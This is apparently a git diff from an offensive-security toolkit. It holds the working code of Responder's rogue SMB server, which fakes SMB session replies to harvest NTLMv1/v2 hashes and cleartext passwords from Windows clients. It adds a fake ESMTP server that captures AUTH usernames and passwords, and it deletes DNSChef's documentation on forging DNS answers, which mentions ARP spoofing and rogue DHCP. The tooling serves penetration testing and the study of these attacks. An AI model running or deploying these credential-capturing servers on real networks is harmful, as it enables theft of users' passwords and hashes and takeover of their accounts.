LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||
#print hex(Dialect)
|
||||
|
||||
if Dialect[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if Dialect[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if Dialect[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if Dialect[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if Dialect[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if Dialect[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if Dialect[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if Dialect[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if Dialect[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if Dialect[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if Dialect[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
def ParseShare(data):
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[91:93])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
else:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[101:103])[0]
|
||||
NthashOffset = struct.unpack('<H',data[103:105])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[105:107])[0]
|
||||
DomainOffset = struct.unpack('<H',data[107:109])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[113:115])[0]
|
||||
UserOffset = struct.unpack('<H',data[115:117])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[109:111])[0]
|
||||
DomainOffset = struct.unpack('<H',data[111:113])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[117:119])[0]
|
||||
UserOffset = struct.unpack('<H',data[119:121])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data, client):
|
||||
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
|
||||
|
||||
if NthashLen > 25:
|
||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
||||
LmHash = FullHash[:32].upper()
|
||||
NtHash = FullHash[32:].upper()
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': NtHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen == 24:
|
||||
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': NtHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def IsNT4ClearTxt(data, client):
|
||||
HeadLen = 36
|
||||
|
||||
if data[14:16] == "\x03\x80":
|
||||
SmbData = data[HeadLen+14:]
|
||||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
|
||||
if ChainedCmdOffset == "\x75":
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
|
||||
if PassLen > 2:
|
||||
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
# SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
|
||||
if len(data) < 1:
|
||||
break
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
pass
|
||||
|
||||
# Negociate Protocol Response
|
||||
if data[8:10] == "\x72\x00":
|
||||
# \x72 == Negociate Protocol Response
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
|
||||
# STATUS_SUCCESS
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
# Parse NTLMSSP_AUTH packet
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
|
||||
# Send STATUS_SUCCESS
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = SMBSession2Accept()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Tree Connect AndX Request
|
||||
if data[8:10] == "\x75\x00":
|
||||
ParseShare(data)
|
||||
# Tree Connect AndX Response
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
|
||||
# SMB Server class, old version
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
Packet = str(head)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
66
core/servers/SMTP.py
Normal file
66
core/servers/SMTP.py
Normal file
|
@ -0,0 +1,66 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from base64 import b64decode, b64encode
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
# ESMTP Server class
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(SMTPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "EHLO":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "AUTH":
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try:
|
||||
User = filter(None, b64decode(data).split('\x00'))
|
||||
Username = User[0]
|
||||
Password = User[1]
|
||||
except:
|
||||
Username = b64decode(data)
|
||||
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try: Password = b64decode(data)
|
||||
except: Password = data
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Username,
|
||||
'cleartext': Password,
|
||||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
pass
|
|
@ -1,29 +0,0 @@
|
|||
Version 0.3
|
||||
|
||||
* Added support for the latest version of the dnslib library - 0.9.3
|
||||
* Added support for logging. (idea by kafeine)
|
||||
* Added support for SRV, DNSKEY, and RRSIG records. (idea by mubix)
|
||||
* Added support for TCP remote nameserver connections. (idea by mubix)
|
||||
* DNS name matching is now case insensitive.
|
||||
* Various small bug fixes and performance tweaks.
|
||||
* Python libraries are no longer bundled with the distribution, but
|
||||
compiled in the Windows binary.
|
||||
|
||||
Version 0.2.1
|
||||
|
||||
* Fixed a Python 2.6 compatibility issue. (thanks Mehran Goudarzi)
|
||||
|
||||
Version 0.2
|
||||
|
||||
* Added IPv6 support.
|
||||
* Added AAAA, MX, CNAME, NS, SOA and NAPTR support.
|
||||
* Added support for ANY queries (returns all known fake records).
|
||||
* Changed file format to support more DNS record types.
|
||||
* Added alternative DNS port support (contributed by fnv).
|
||||
* Added alternative listening port support for the server (contributed by Mark Straver).
|
||||
* Updated bundled dnslib library to the latest version - 0.8.2.
|
||||
* Included IPy library for IPv6 support.
|
||||
|
||||
Version 0.1
|
||||
|
||||
* First public release
|
|
@ -1,25 +0,0 @@
|
|||
Copyright (C) 2014 Peter Kacherginsky
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
3. Neither the name of the copyright holder nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -1,339 +0,0 @@
|
|||
DNSChef
|
||||
=======
|
||||
|
||||
The latest version of this document can be obtained from http://thesprawl.org/projects/dnschef/
|
||||
|
||||
DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet.
|
||||
|
||||
There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below.
|
||||
|
||||
The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination.
|
||||
|
||||
Setting up a DNS Proxy
|
||||
======================
|
||||
|
||||
Before you can start using DNSChef, you must configure your machine to use a DNS nameserver with the tool running on it. You have several options based on the operating system you are going to use:
|
||||
|
||||
* **Linux** - Edit */etc/resolv.conf* to include a line on the very top with your traffic analysis host (e.g add "nameserver 127.0.0.1" if you are running locally). Alternatively, you can add a DNS server address using tools such as Network Manager. Inside the Network Manager open IPv4 Settings, select *Automatic (DHCP) addresses only* or *Manual* from the *Method* drop down box and edit *DNS Servers* text box to include an IP address with DNSChef running.
|
||||
|
||||
* **Windows** - Select *Network Connections* from the *Control Panel*. Next select one of the connections (e.g. "Local Area Connection"), right-click on it and select properties. From within a newly appearing dialog box, select *Internet Protocol (TCP/IP)* and click on properties. At last select *Use the following DNS server addresses* radio button and enter the IP address with DNSChef running. For example, if running locally enter 127.0.0.1.
|
||||
|
||||
* **OS X** - Open *System Preferences* and click on the *Network* icon. Select the active interface and fill in the *DNS Server* field. If you are using Airport then you will have to click on *Advanced...* button and edit DNS servers from there. Alternatively, you can edit */etc/resolv.conf* and add a fake nameserver to the very top there (e.g "nameserver 127.0.0.1").
|
||||
|
||||
* **iOS** - Open *Settings* and select *General*. Next select on *Wi-Fi* and click on a blue arrow to the right of an active Access Point from the list. Edit DNS entry to point to the host with DNSChef running. Make sure you have disabled Cellular interface (if available).
|
||||
|
||||
* **Android** - Open *Settings* and select *Wireless and network*. Click on *Wi-Fi settings* and select *Advanced* after pressing the *Options* button on the phone. Enable *Use static IP* checkbox and configure a custom DNS server.
|
||||
|
||||
If you do not have the ability to modify device's DNS settings manually, then you still have several options involving techniques such as [ARP Spoofing](http://en.wikipedia.org/wiki/ARP_spoofing), [Rogue DHCP](http://www.yersinia.net/doc.htm) and other creative methods.
|
||||
|
||||
At last you need to configure a fake service where DNSChef will point all of the requests. For example, if you are trying to intercept web traffic, you must bring up either a separate web server running on port 80 or set up a web proxy (e.g. Burp) to intercept traffic. DNSChef will point queries to your proxy/server host with properly configured services.
|
||||
|
||||
Running DNSChef
|
||||
===============
|
||||
|
||||
DNSChef is a cross-platform application developed in Python which should run on most platforms which have a Python interpreter. You can use the supplied *dnschef.exe* executable to run it on Windows hosts without installing a Python interpreter. This guide will concentrate on Unix environments; however, all of the examples below were tested to work on Windows as well.
|
||||
|
||||
Let's get a taste of DNSChef with its most basic monitoring functionality. Execute the following command as root (required to start a server on port 53):
|
||||
|
||||
# ./dnschef.py
|
||||
|
||||
_ _ __
|
||||
| | version 0.2 | | / _|
|
||||
__| |_ __ ___ ___| |__ ___| |_
|
||||
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
|
||||
| (_| | | | \__ \ (__| | | | __/ |
|
||||
\__,_|_| |_|___/\___|_| |_|\___|_|
|
||||
iphelix@thesprawl.org
|
||||
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
|
||||
|
||||
Without any parameters, DNSChef will run in full proxy mode. This means that all requests will simply be forwarded to an upstream DNS server (8.8.8.8 by default) and returned back to the quering host. For example, let's query an "A" record for a domain and observe results:
|
||||
|
||||
$ host -t A thesprawl.org
|
||||
thesprawl.org has address 108.59.3.64
|
||||
|
||||
DNSChef will print the following log line showing time, source IP address, type of record requested and most importantly which name was queried:
|
||||
|
||||
[23:54:03] 127.0.0.1: proxying the response of type 'A' for thesprawl.org
|
||||
|
||||
This mode is useful for simple application monitoring where you need to figure out which domains it uses for its communications.
|
||||
|
||||
DNSChef has full support for IPv6 which can be activated using *-6* or *--ipv6** flags. It works exactly as IPv4 mode with the exception that default listening interface is switched to ::1 and default DNS server is switched to 2001:4860:4860::8888. Here is a sample output:
|
||||
|
||||
# ./dnschef.py -6
|
||||
_ _ __
|
||||
| | version 0.2 | | / _|
|
||||
__| |_ __ ___ ___| |__ ___| |_
|
||||
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
|
||||
| (_| | | | \__ \ (__| | | | __/ |
|
||||
\__,_|_| |_|___/\___|_| |_|\___|_|
|
||||
iphelix@thesprawl.org
|
||||
|
||||
[*] Using IPv6 mode.
|
||||
[*] DNSChef started on interface: ::1
|
||||
[*] Using the following nameservers: 2001:4860:4860::8888
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
[00:35:44] ::1: proxying the response of type 'A' for thesprawl.org
|
||||
[00:35:44] ::1: proxying the response of type 'AAAA' for thesprawl.org
|
||||
[00:35:44] ::1: proxying the response of type 'MX' for thesprawl.org
|
||||
|
||||
NOTE: By default, DNSChef creates a UDP listener. You can use TCP instead with the *--tcp* argument discussed later.
|
||||
|
||||
Intercept all responses
|
||||
-----------------------
|
||||
|
||||
Now, that you know how to start DNSChef let's configure it to fake all replies to point to 127.0.0.1 using the *--fakeip* parameter:
|
||||
|
||||
# ./dnschef.py --fakeip 127.0.0.1 -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] Cooking all A replies to point to 127.0.0.1
|
||||
[23:55:57] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1
|
||||
[23:55:57] 127.0.0.1: proxying the response of type 'AAAA' for google.com
|
||||
[23:55:57] 127.0.0.1: proxying the response of type 'MX' for google.com
|
||||
|
||||
In the above output you an see that DNSChef was configured to proxy all requests to 127.0.0.1. The first line of log at 08:11:23 shows that we have "cooked" the "A" record response to point to 127.0.0.1. However, further requests for 'AAAA' and 'MX' records are simply proxied from a real DNS server. Let's see the output from requesting program:
|
||||
|
||||
$ host google.com localhost
|
||||
google.com has address 127.0.0.1
|
||||
google.com has IPv6 address 2001:4860:4001:803::1001
|
||||
google.com mail is handled by 10 aspmx.l.google.com.
|
||||
google.com mail is handled by 40 alt3.aspmx.l.google.com.
|
||||
google.com mail is handled by 30 alt2.aspmx.l.google.com.
|
||||
google.com mail is handled by 20 alt1.aspmx.l.google.com.
|
||||
google.com mail is handled by 50 alt4.aspmx.l.google.com.
|
||||
|
||||
As you can see the program was tricked to use 127.0.0.1 for the IPv4 address. However, the information obtained from IPv6 (AAAA) and mail (MX) records appears completely legitimate. The goal of DNSChef is to have the least impact on the correct operation of the program, so if an application relies on a specific mailserver it will correctly obtain one through this proxied request.
|
||||
|
||||
Let's fake one more request to illustrate how to target multiple records at the same time:
|
||||
|
||||
# ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] Cooking all A replies to point to 127.0.0.1
|
||||
[*] Cooking all AAAA replies to point to ::1
|
||||
[00:02:14] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1
|
||||
[00:02:14] 127.0.0.1: cooking the response of type 'AAAA' for google.com to ::1
|
||||
[00:02:14] 127.0.0.1: proxying the response of type 'MX' for google.com
|
||||
|
||||
In addition to the --fakeip flag, I have now specified --fakeipv6 designed to fake 'AAAA' record queries. Here is an updated program output:
|
||||
|
||||
$ host google.com localhost
|
||||
google.com has address 127.0.0.1
|
||||
google.com has IPv6 address ::1
|
||||
google.com mail is handled by 10 aspmx.l.google.com.
|
||||
google.com mail is handled by 40 alt3.aspmx.l.google.com.
|
||||
google.com mail is handled by 30 alt2.aspmx.l.google.com.
|
||||
google.com mail is handled by 20 alt1.aspmx.l.google.com.
|
||||
google.com mail is handled by 50 alt4.aspmx.l.google.com.
|
||||
|
||||
Once more all of the records not explicitly overriden by the application were proxied and returned from the real DNS server. However, IPv4 (A) and IPv6 (AAAA) were both faked to point to a local machine.
|
||||
|
||||
DNSChef supports multiple record types:
|
||||
|
||||
+--------+--------------+-----------+--------------------------+
|
||||
| Record | Description |Argument | Example |
|
||||
+--------+--------------+-----------+--------------------------+
|
||||
| A | IPv4 address |--fakeip | --fakeip 192.0.2.1 |
|
||||
| AAAA | IPv6 address |--fakeipv6 | --fakeipv6 2001:db8::1 |
|
||||
| MX | Mail server |--fakemail | --fakemail mail.fake.com |
|
||||
| CNAME | CNAME record |--fakealias| --fakealias www.fake.com |
|
||||
| NS | Name server |--fakens | --fakens ns.fake.com |
|
||||
+--------+--------------+-----------+--------------------------+
|
||||
|
||||
